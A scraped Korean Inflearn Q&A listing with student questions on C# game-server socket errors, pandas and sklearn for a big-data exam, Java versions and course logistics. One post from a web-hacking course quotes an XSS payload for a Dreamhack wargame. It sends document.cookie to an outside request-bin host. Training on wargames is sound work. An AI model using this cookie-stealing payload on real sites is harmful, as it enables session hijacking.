묻고 답해요
161만명의 커뮤니티!! 함께 토론해봐요.
인프런 TOP Writers
-
미해결[C#과 유니티로 만드는 MMORPG 게임 개발 시리즈] Part4: 게임 서버
UnhandledException 으로 서버 터지는 경우
안녕하세요,해당 강의에서 만든 코드 기반으로 제 게임에 맞춘 서버를 AWS EC2에서 몇 주째 실행중입니다. 개발 컴퓨터에서 테스트할때도 그렇고 EC2에서 할때도 그렇고 강제 종료될때가 있어서 꺼지면 로그 남기게 해서 몇개 원인을 찾았는데요, UnhandledException이 뜨면서 강제종료 되는 경우가 두가지 있는 것 같습니다.제 유추 상으로는 포트포워딩으로 게임 포트 이외에는 인바운드를 거절했는데도 쓰레기IP들이 서버를 터트리고 가는 것 같습니다. 첫번째.[11-24 18:31:38] FATAL [UnhandledException] System.Net.Sockets.SocketException (10054): An existing connection was forcibly closed by the remote host. at System.Net.Sockets.Socket.UpdateStatusAfterSocketErrorAndThrowException(SocketError error, Boolean disconnectOnFailure, String callerName) at System.Net.Sockets.Socket.Shutdown(SocketShutdown how) at ServerCore.Session.Disconnect() in \Server\ServerCore\Session.cs:line 103 at ServerCore.Session.OnRecvCompleted(Object sender, SocketAsyncEventArgs args) in \Server\ServerCore\Session.cs:line 193 at System.Threading.ExecutionContext.RunInternal(ExecutionContext executionContext, ContextCallback callback, Object state) --- End of stack trace from previous location --- at System.Threading.ExecutionContext.RunInternal(ExecutionContext executionContext, ContextCallback callback, Object state) at System.Net.Sockets.SocketAsyncEventArgs.<>c.<.cctor>b__173_0(UInt32 errorCode, UInt32 numBytes, NativeOverlapped* nativeOverlapped) at System.Threading.ThreadPoolTypedWorkItemQueue`2.System.Threading.IThreadPoolWorkItem.Execute() at System.Threading.ThreadPoolWorkQueue.Dispatch() at System.Threading.PortableThreadPool.WorkerThread.WorkerThreadStart()이 오류는 Session.cs에 소켓 Shutdown에서 발생했습니다.public void Disconnect() { if (Interlocked.Exchange(ref _disconnected, 1) == 1) return; OnDisconnected(_socket.RemoteEndPoint); _socket.Shutdown(SocketShutdown.Both); _socket.Close(); Clear(); }서버가 터지면 안되니 임시 방편으로 try catch로 감싸놨습니다.try { _socket.Shutdown(SocketShutdown.Both); } catch (Exception e) { Console.WriteLine($"[NEW ADDED] SOCKET SHUTDOWN Failed {e}"); } try { _socket.Close(); } catch (Exception e) { Console.WriteLine($"[NEW ADDED] SOCKET CLOSE Failed {e}"); } 두번째.[11-25 10:16:12] FATAL [UnhandledException] System.ObjectDisposedException: Cannot access a disposed object. Object name: 'System.Net.Sockets.Socket'. at System.Net.Sockets.Socket.get_RemoteEndPoint() at ServerCore.Listener.OnAcceptCompleted(Object sender, SocketAsyncEventArgs args) in Server\ServerCore\Listener.cs:line 45 at System.Threading.ExecutionContext.RunInternal(ExecutionContext executionContext, ContextCallback callback, Object state) --- End of stack trace from previous location --- at System.Threading.ExecutionContext.RunInternal(ExecutionContext executionContext, ContextCallback callback, Object state) at System.Net.Sockets.SocketAsyncEventArgs.<>c.<.cctor>b__173_0(UInt32 errorCode, UInt32 numBytes, NativeOverlapped* nativeOverlapped) at System.Threading.ThreadPoolTypedWorkItemQueue`2.System.Threading.IThreadPoolWorkItem.Execute() at System.Threading.ThreadPoolWorkQueue.Dispatch() at System.Threading.PortableThreadPool.WorkerThread.WorkerThreadStart() --------------------------------------------------이 오류는 Listener.cs의 RemoteEndPoint를 가져오는 부분에서 발생했는데요, void OnAcceptCompleted(object sender, SocketAsyncEventArgs args) { if (args.SocketError == SocketError.Success) { Session session = _sessionFactory.Invoke(); session.Start(args.AcceptSocket); session.OnConnected(args.AcceptSocket.RemoteEndPoint); } else Console.WriteLine(args.SocketError.ToString()); RegisterAccept(args); }비쥬얼 스튜디오에서도 args.AcceptSocket.RemoteEndPoint 는 null일수도 있다고 뜨기는 하는데이부분도 != null을 붙여서 해야하는지 try catch로 감싸야하는지 궁금합니다.근본적인 원인은 예외가 왜 발생하는지 알아야하는데 전부 API 단이라 try catch 혹은 != null 빼고는 대책을 강구하기가 어렵습니다. 요약하자면이런 UnhandledException이 나올때 해당 코드를 try { } catch로 해주것이 괜찮은 방법인가요?혹시 근본적인 해결책이 있다면 궁금합니다.
-
미해결[C#과 유니티로 만드는 MMORPG 게임 개발 시리즈] Part1: C# 기초 프로그래밍 입문
프로퍼티 강의 질문 있습니다.
안녕하세요? Property 강의에 11분 23초 구간에서 이해가 되지 않는 부분이 있어 질문 드립니다.Knight 클래스에서 선언한 Hp 프로퍼티에서 get, set의 대상이 되는 변수가 int hp라는 것은 명시되지 않았는데, 어떻게 _hp에 세팅이 되고, 불러올 수 있게 되는건가요?
-
미해결[퇴근후딴짓] 빅데이터 분석기사 실기 (작업형1,2,3)
ols와 logit 에서 숫자 범주형 독립변수
선생님, 분산분석과 회귀모형에서 ols()나 logit() 입력할 때 , 숫자로 이뤄진 범주형 독립변수 앞에는 C를 붙여서 입력하는 것으로 알고 있는데 10회 기출 1번 overtime 변수에 C를 붙이지 않은 이유가 무엇인가요?
-
해결됨[퇴근후딴짓] 빅데이터 분석기사 실기 (작업형1,2,3)
4회 기출 유형(작업형2)
왜 저는 원핫인코딩할떄 bool로나오죠? 이번 한번이 아니라 전에도 강의에서는 int로 나오던데 왜 저만 bool로나오는지 이해가안가더라구요
-
해결됨[퇴근후딴짓] 빅데이터 분석기사 실기 (작업형1,2,3)
결측치가 있는 조건 하에 pop 함수 사용
학습 관련 질문을 남겨주세요. 상세히 작성하면 더 좋아요!질문과 관련된 영상 위치를 알려주면 더 빠르게 답변할 수 있어요먼저 유사한 질문이 있었는지 검색해보세요안녕하세요, 기출(작업형2) 한 가지 방법으로 풀기 듣다가 기출 유형에는 결측치가 있는 경우가 없었어서 질문드립니다. 기출에서는 타겟이 범주형 자료일 때를 감안하여 전처리 전에target =train.pop('타겟컬럼') 을 입력하고이후 에 원-핫 인코딩 진행 하는걸 추천한다 하셨는데요, 만약 결측치가 존재하여 전처리 과정에 결측치 처리가 추가된다면 이때도 pop 함수를 먼저 사용한 후에 결측치 처리를 해야하나요?? pop 함수가 시험 환경의 train 데이터를 x_train ,y_ train 으로 나눠주는 것과 같은 기능을 하는 것으로 이해했는데만약 train data 와 target column data 둘 다에 결측치가 있다면 먼저 결측치를 처리한다음에 pop 함수 처리를 하는게 맞지 않나요???
-
미해결[VOD] 6주 완성! 개발 실무를 위한 고농축 바이브코딩 (Cursor AI, Figma)
커서 가격 정책
커서를 사용하면 Sonnet 4.5의 경우 빠르게 요금제 토큰을 소모하는데 많이 사용하면 요금제를 올리는건 맞지만 그와 별개로 요금을 줄이는 팁이 있을까요? claude 코드의 요금제 구독하고 커서에 api 키를 넣는 다거나 뭔가 있을까 싶어 문의 남깁니다. 비싸서 claude로 넘어가야 고민중입니다.
-
미해결해킹 입문부터 중급까지, 한 번에 배우는 웹해킹
xss_WAF_4가 안 됩니다
<iframe srcdoc = "<script>fetch('https://mamibjs.request.dreamhack.games/?'+document.cookie)</script>">서버 주소는 드림핵 툴즈 이용했습니다. 스크립트를 위처럼 작성하고 activate admin bot 버튼 누르면 전송이 와야 되는데 안 옵니다. 제가 직접 작성한 글을 클릭해서 하는건 전송이 또 되는데 어드민 봇이 안되는 거 같습니다. 추가로 xss_WAF_3으로도 해봤는데 이것같은 경우는 정상 작동했습니다.
-
미해결디지털포렌식 입문자를 위한 디지털포렌식 전문가 2급 실기 시험대비 강의(Encase/Autopsy)
수강 기간 문의
수강 기간 관련 문의안녕하세요. 강의 구매 후 군 문제가 있어 군대를 다녀왔는데 지금 보니 기간이 별로 안 남아 강의를 몰아서 수강하던 중 인프런에 수강 기간 연장 문의가 몇 번 올라온 적이 있다는 것을 알고 꼭 시험에 합격하고 싶어 혹시나 하는 절실한 마음에 문의를 남겨봅니다. 너무 몰아서 공부를 하다보니 크게 남는 것도 없고 반복 학습에도 무리가 있는 상황이라 혹시 조금이라도 기간 연장이 가능할까요...? 부탁드립니다 ㅠㅠ
-
해결됨[퇴근후딴짓] 빅데이터 분석기사 실기 (작업형1,2,3)
홀수행과 짝수행
여기 문제들처럼 홀수행, 짝수행별로 값이 필요할때 사용할수 있는 함수는 따로 없을까요? unstack을 사용하거나 조건을 만들어 사용해서 구하는 방법밖엔 없을까요
-
미해결김영한의 실전 자바 - 고급 3편, 람다, 스트림, 함수형 프로그래밍
자바 21 버전을 꼭 써야하나요??
회사에서 자바 8만써서 자바8로 학습하려고하는데..8로는 진행이안될까요?
-
해결됨[퇴근후딴짓] 빅데이터 분석기사 실기 (작업형1,2,3)
작업형 2유형 질문합니다.
안녕하세요 강사님! 작업형2유형 질문이 있어서 글 남깁니다. pd.get_dummies 함수를 사용하면 컬럼수가 10개인것이 200개, 300개로 증가하는 경우가 있습니다. 문제가 없는건지 궁금합니다! concat 함수 말고test = test.reindex(columns = train.columns, fill_value =0) 으로 train컬럼수와 test 컬럼수를 일치시켜도되는걸까요? 그리고 전처리 후 학습 및 평가를 할때 강사님께서는 train 데이터를 두개로 분리해서 80%로만 학습시키고, 20%로 예측 후 평가하시는 걸로 알고 있습니다. 이후 test 데이터를 예측할 때는 train 데이터 80% 학습한 모델을 통해 예측하는 걸로 이해했습니다.만약 train 데이터 분리와 평가과정을 건너뛴다면, train 데이터 전체로 학습하고 test 데이터를 예측하는건데, 이부분은 상관이 없는걸까요?
-
미해결[UI3 업데이트] 피그마 배리어블을 활용한 디자인 시스템 구축하기
완강 후 자료
볼드님 강의에서 디자인시스템 구축 내용이 총망라되어있어서 너무 큰 도움이 되었습니다.정성스러운 수강평을 올려보았는데노션파일은 언제쯤 받아볼 수 있을까요.
-
미해결FreeRTOS 프로그래밍
포팅 부탁드립니다. <NUCLEO-G071RB>
- 사용하고 싶은 ST 보드명: NUCLEO-G071RB- 사용하시는 컴파일러(stm32cubeide) 버젼: 2.0.0- 기타: 감사합니다
-
해결됨[퇴근후딴짓] 빅데이터 분석기사 실기 (작업형1,2,3)
캐글 타이타닉
혹시 실제 시험문제가 다 이런식으로 세팅되어서 이에 맞게 풀라고 되어있나요? 오히려 처음부터 작성하면 괜찮은데 이런 세팅이 있으니까 너무 헷갈려서요..
-
해결됨[퇴근후딴짓] 빅데이터 분석기사 실기 (작업형1,2,3)
concat
concat해서 train과test를 나누는 경우는 어떤 경우인가요?
-
해결됨[퇴근후딴짓] 빅데이터 분석기사 실기 (작업형1,2,3)
y를 pop
from sklearn.model_selection import train_test_split X_tr, X_val, y_tr, y_val = train_test_split(train.drop('output', axis=1), train['output'], test_size=0.15, random_state=2022)이런식으로 안 하고 전처리 과정에서 y = train.pop으로 해도 되나요?
-
해결됨[퇴근후딴짓] 빅데이터 분석기사 실기 (작업형1,2,3)
평가지표 차이..
이렇게 오류가 나는데 rmsle는 사용이 안 되는데 어떻게 하나요 r2는 큰게 좋다고 하시고 나머지는 작아야 좋다고 했는데 이렇게 나오는 경우 어떻게 하나요?3. linearRegresssion은 random_state가 불가능인가요? 제공해주신 노트에는 다 랜덤값이 고정되있지 않읃데 0으로 고정하는게 맞는 거죠?
-
미해결[C#과 유니티로 만드는 MMORPG 게임 개발 시리즈] Part7: MMO 컨텐츠 구현 (Unity + C# 서버 연동 기초)
Protobuf 설치
요즘도 Protobuf 사용할려면 수동으로 설치 해야 하나요? 수동으로 하지 않고 Nuget에서 Google.Protobuf, Grpc.Tools 설치하고 메모장(텍스트 문서) 확장자 .proto 만든 다음에 비주얼 스튜디오에 추가하기만 해도 되나요?
-
해결됨[퇴근후딴짓] 빅데이터 분석기사 실기 (작업형1,2,3)
검증 데이터 분리
안녕하세요.작업형2 검증 데이터 분리 부분에서 radom_state에 아무 값이나 넣어도 되는 것 맞나요? 예를 '작업형2모의문제2' 강의에서 선생님은 2022를 넣으셨고 저는 2025를 넣었는데 마지막 print(r2_score(y_test, pred))확인 부분에서 차이가 많이 나는 것 같아서요(선생님 코드에서 결과: -0.03400981426239014제가 실행한 결과:-0.013191699981689453)
-
미해결[퇴근후딴짓] 빅데이터 분석기사 실기 (작업형1,2,3)
레이블인코딩 or column삭제 둘을 어떤 기준으로 선택해야 하나요
학습 관련 질문을 남겨주세요. 상세히 작성하면 더 좋아요!질문과 관련된 영상 위치를 알려주면 더 빠르게 답변할 수 있어요먼저 유사한 질문이 있었는지 검색해보세요